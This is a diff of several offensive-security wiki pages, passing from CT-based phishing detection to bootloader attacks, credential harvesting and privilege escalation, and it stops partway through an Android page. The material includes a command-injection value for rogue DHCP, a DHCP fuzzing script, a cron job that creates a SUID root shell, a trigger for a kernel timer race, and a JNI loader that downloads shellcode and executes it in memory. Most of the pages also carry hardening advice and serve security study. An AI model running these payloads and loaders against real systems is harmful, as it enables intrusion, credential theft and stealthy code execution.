It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover such phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that by reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside its name** For example, if an attacker generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that suspicious email is being used.
@ -62,11 +137,17 @@ Using this last option you can even use the field Matching Identities to see if
**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing_catcher**](https://github.com/x0rz/phishing_catcher) that does just that.
### **New domains**
Practical tip: when triaging CT hits, prioritise NRDs, untrusted/unknown registrars, privacy-proxy WHOIS, and certs with very recent `NotBefore` times. Maintain an allowlist of your owned domains/brands to reduce noise.
#### **New domains**
**One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually use one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.
Additional heuristic: treat certain **file-extension TLDs** (e.g., `.zip`, `.mov`) with extra suspicion in alerting. These are commonly confused for filenames in lures; combine the TLD signal with brand keywords and NRD age for better precision.
## References
- urlscan.io Search API reference: https://urlscan.io/docs/search/
- APNIC Blog JA4+ network fingerprinting (includes Evilginx example): https://blog.apnic.net/2023/11/22/ja4-network-fingerprinting/
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,6 +11,10 @@
synology-encrypted-archive-decryption.md
{{#endref}}
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
Firmware is essential software that enables devices to operate correctly by managing and facilitating communication between the hardware components and the software that users interact with. It's stored in permanent memory, ensuring the device can access vital instructions from the moment it's powered on, leading to the operating system's launch. Examining and potentially modifying firmware is a critical step in identifying security vulnerabilities.
@ -309,5 +313,3 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,56 +2,125 @@
{{#include ../../banners/hacktricks-training.md}}
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
The following steps are recommended for modifying device startup configurations and testing bootloaders such as U-Boot and UEFI-class loaders. Focus on getting early code execution, assessing signature/rollback protections, and abusing recovery or network-boot paths.
1. **Access Bootloader's Interpreter Shell**:
## U-Boot quick wins and environment abuse
- During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
1. Access the interpreter shell
- During boot, hit a known break key (often any key, 0, space, or a board-specific "magic" sequence) before `bootcmd` executes to drop to the U-Boot prompt.
2. **Modify Boot Arguments**:
2. Inspect boot state and variables
- Useful commands:
- `printenv` (dump environment)
- `bdinfo` (board info, memory addresses)
- `help bootm; help booti; help bootz` (supported kernel boot methods)
- `help ext4load; help fatload; help tftpboot` (available loaders)
- Execute the following commands to append '`init=/bin/sh`' to the boot arguments, allowing execution of a shell command:
3. Modify boot arguments to get a root shell
- Append `init=/bin/sh` so the kernel drops to a shell instead of normal init:
```
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot # or: run bootcmd
```
3. **Setup TFTP Server**:
- Configure a TFTP server to load images over a local network:
4. Netboot from your TFTP server
- Configure network and fetch a kernel/fit image from LAN:
```
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #TFTP server IP
#saveenv
#reset
#ping 192.168.2.1 #check network access
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server
# setenv ipaddr 192.168.2.2 # device IP
# setenv serverip 192.168.2.1 # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
```
4. **Utilize `ubootwrite.py`**:
5. Persist changes via environment
- If env storage isnt write-protected, you can persist control:
```
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
```
- Check for variables like `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` that influence fallback paths. Misconfigured values can grant repeated breaks into the shell.
- Use `ubootwrite.py` to write the U-boot image and push a modified firmware to gain root access.
6. Check debug/unsafe features
- Look for: `bootdelay` > 0, `autoboot` disabled, unrestricted `usb start; fatload usb 0:1 ...`, ability to `loady`/`loads` via serial, `env import` from untrusted media, and kernels/ramdisks loaded without signature checks.
5. **Check Debug Features**:
7. U-Boot image/verification testing
- If the platform claims secure/verified boot with FIT images, try both unsigned and tampered images:
```
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
```
- Absence of `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` or legacy `verify=n` behavior often allows booting arbitrary payloads.
- Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
## Network-boot surface (DHCP/PXE) and rogue servers
6. **Cautionary Hardware Interference**:
8. PXE/DHCP parameter fuzzing
- U-Boots legacy BOOTP/DHCP handling has had memory-safety issues. For example, CVE202442040 describes memory disclosure via crafted DHCP responses that can leak bytes from U-Boot memory back on the wire. Exercise the DHCP/PXE code paths with overly long/edge-case values (option 67 bootfile-name, vendor options, file/servername fields) and observe for hangs/leaks.
- Minimal Scapy snippet to stress boot parameters during netboot:
```python
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
```
- Also validate if PXE filename fields are passed to shell/loader logic without sanitization when chained to OS-side provisioning scripts.
- Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
9. Rogue DHCP server command injection testing
- Set up a rogue DHCP/PXE service and try injecting characters into filename or options fields to reach command interpreters in later stages of the boot chain. Metasploits DHCP auxiliary, `dnsmasq`, or custom Scapy scripts work well. Ensure you isolate the lab network first.
7. **Configure Rogue DHCP Server**:
- Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as `'a";/bin/sh;#'` to test input validation for device startup procedures.
## SoC ROM recovery modes that override normal boot
**Note**: The steps involving physical interaction with device pins (\*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
Many SoCs expose a BootROM "loader" mode that will accept code over USB/UART even when flash images are invalid. If secure-boot fuses arent blown, this can provide arbitrary code execution very early in the chain.
- NXP i.MX (Serial Download Mode)
- Tools: `uuu` (mfgtools3) or `imx-usb-loader`.
- Example: `imx-usb-loader u-boot.imx` to push and run a custom U-Boot from RAM.
- Allwinner (FEL)
- Tool: `sunxi-fel`.
- Example: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` or `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`.
- Rockchip (MaskROM)
- Tool: `rkdeveloptool`.
- Example: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` to stage a loader and upload a custom U-Boot.
Assess whether the device has secure-boot eFuses/OTP burned. If not, BootROM download modes frequently bypass any higher-level verification (U-Boot, kernel, rootfs) by executing your first-stage payload directly from SRAM/DRAM.
## UEFI/PC-class bootloaders: quick checks
10. ESP tampering and rollback testing
- Mount the EFI System Partition (ESP) and check for loader components: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, vendor logo paths.
- Try booting with downgraded or known-vulnerable signed boot components if Secure Boot revocations (dbx) arent current. If the platform still trusts old shims/bootmanagers, you can often load your own kernel or `grub.cfg` from the ESP to gain persistence.
11. Boot logo parsing bugs (LogoFAIL class)
- Several OEM/IBV firmwares were vulnerable to image-parsing flaws in DXE that process boot logos. If an attacker can place a crafted image on the ESP under a vendor-specific path (e.g., `\EFI\<vendor>\logo\*.bmp`) and reboot, code execution during early boot may be possible even with Secure Boot enabled. Test whether the platform accepts user-supplied logos and whether those paths are writable from the OS.
## Hardware caution
Be cautious when interacting with SPI/NAND flash during early boot (e.g., grounding pins to bypass reads) and always consult the flash datasheet. Mistimed shorts can corrupt the device or the programmer.
## Notes and additional tips
- Try `env export -t ${loadaddr}` and `env import -t ${loadaddr}` to move environment blobs between RAM and storage; some platforms allow importing env from removable media without authentication.
- For persistence on Linux-based systems that boot via `extlinux.conf`, modifying the `APPEND` line (to inject `init=/bin/sh` or `rd.break`) on the boot partition is often enough when no signature checks are enforced.
- If userland provides `fw_printenv/fw_setenv`, validate that `/etc/fw_env.config` matches the real env storage. Misconfigured offsets let you read/write the wrong MTD region.
## References
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040)
{{#include ../../banners/hacktricks-training.md}}

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

View File

@ -77,8 +77,54 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
## Harvesting credentials from process environment (containers included)
When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
Quick wins
- Dump your current process env: `env` or `printenv`
- Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'`
- Add `strings -z /proc/<PID>/environ` if `tr`/`sed` arent handy
- In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ`
What to look for
- App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`)
- API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR`
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
## Systemd-stored credentials in unit files (Environment=)
Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them:
```bash
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
```
Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers)
- Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotate leaked passwords discovered during tests
## References
- [0xdf HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)

View File

@ -376,6 +376,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
## Scheduled/Cron jobs
### Crontab UI (alseambusher) running as root web-based scheduler privesc
If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate.
Typical chain
- Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
- Find credentials in operational artifacts:
- Backups/scripts with `zip -P <password>`
- systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
- Tunnel and login:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
- Create a high-priv job and run immediately (drops SUID shell):
```bash
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```
- Use it:
```bash
/tmp/rootshell -p # root shell
```
Hardening
- Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions
- Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords
- Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile
- Enable audit/logging for on-demand job executions
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
```bash
@ -1716,6 +1749,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## References
- [0xdf HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)

View File

@ -0,0 +1,213 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Quick internals recap (relevant for exploitation)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Arming inserts into a per-base timerqueue and may update the next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Fast path avoids expensive processing unless cached expiries indicate possible firing:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Two expiry-processing modes
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
In the IRQ-context path, the firing list is processed outside sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
Impact
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- From a sibling thread, concurrently delete the same timer while the target thread exits:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
Detection and hardening
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -262,6 +262,7 @@ Note that executables compiled with **`pyinstaller`** won't use these environmen
>
> Even **root** will run this code when running python.
## Detection
### Shield

View File

@ -228,6 +228,11 @@ bypass-biometric-authentication-android.md
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
### **Other tricks**
@ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -279,12 +279,31 @@ objection --gadget com.example.app explore
apk-mitm app.apk
```
## Tips & caveats
## Universal proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)
- Prefer attaching late over spawning when apps crash at launch
- Some detections rerun in critical flows (e.g., payment, auth) — keep hooks active during navigation
- Mix static and dynamic: string hunt in Jadx to shortlist classes; then hook methods to verify at runtime
- Hardened apps may use packers and native TLS pinning — expect to reverse native code
Modern apps often ignore system proxies and enforce multiple layers of pinning (Java + native), making traffic capture painful even with user/system CAs installed. A practical approach is to combine universal TLS unpinning with proxy forcing via ready-made Frida hooks, and route everything through mitmproxy/Burp.
Workflow
- Run mitmproxy on your host (or Burp). Ensure the device can reach the host IP/port.
- Load HTTP Toolkits consolidated Frida hooks to both unpin TLS and force proxy usage across common stacks (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, etc.). This bypasses CertificatePinner/TrustManager checks and overrides proxy selectors, so traffic is always sent via your proxy even if the app explicitly disables proxies.
- Start the target app with Frida and the hook script, and capture requests in mitmproxy.
Example
```bash
# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause
# mitmproxy listening locally
mitmproxy -p 8080
```
Notes
- Combine with a system-wide proxy via `adb shell settings put global http_proxy <host>:<port>` when possible. The Frida hooks will enforce proxy use even when apps bypass global settings.
- This technique is ideal when you need to MITM mobile-to-IoT onboarding flows where pinning/proxy avoidance is common.
- Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning
## References

View File

@ -0,0 +1,125 @@
# Android In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.
Why it matters
- Reduces forensic artifacts (no ELF on disk)
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
- Matches tradecraft used by modern malware and red teams
High-level pattern
1) Fetch shellcode bytes in Java/Kotlin
2) Call a native method (JNI) with the byte array
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
Minimal example
Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI side (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
Notes and caveats
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
Packaging ELF → positionindependent shellcode
A robust operator pipeline is to:
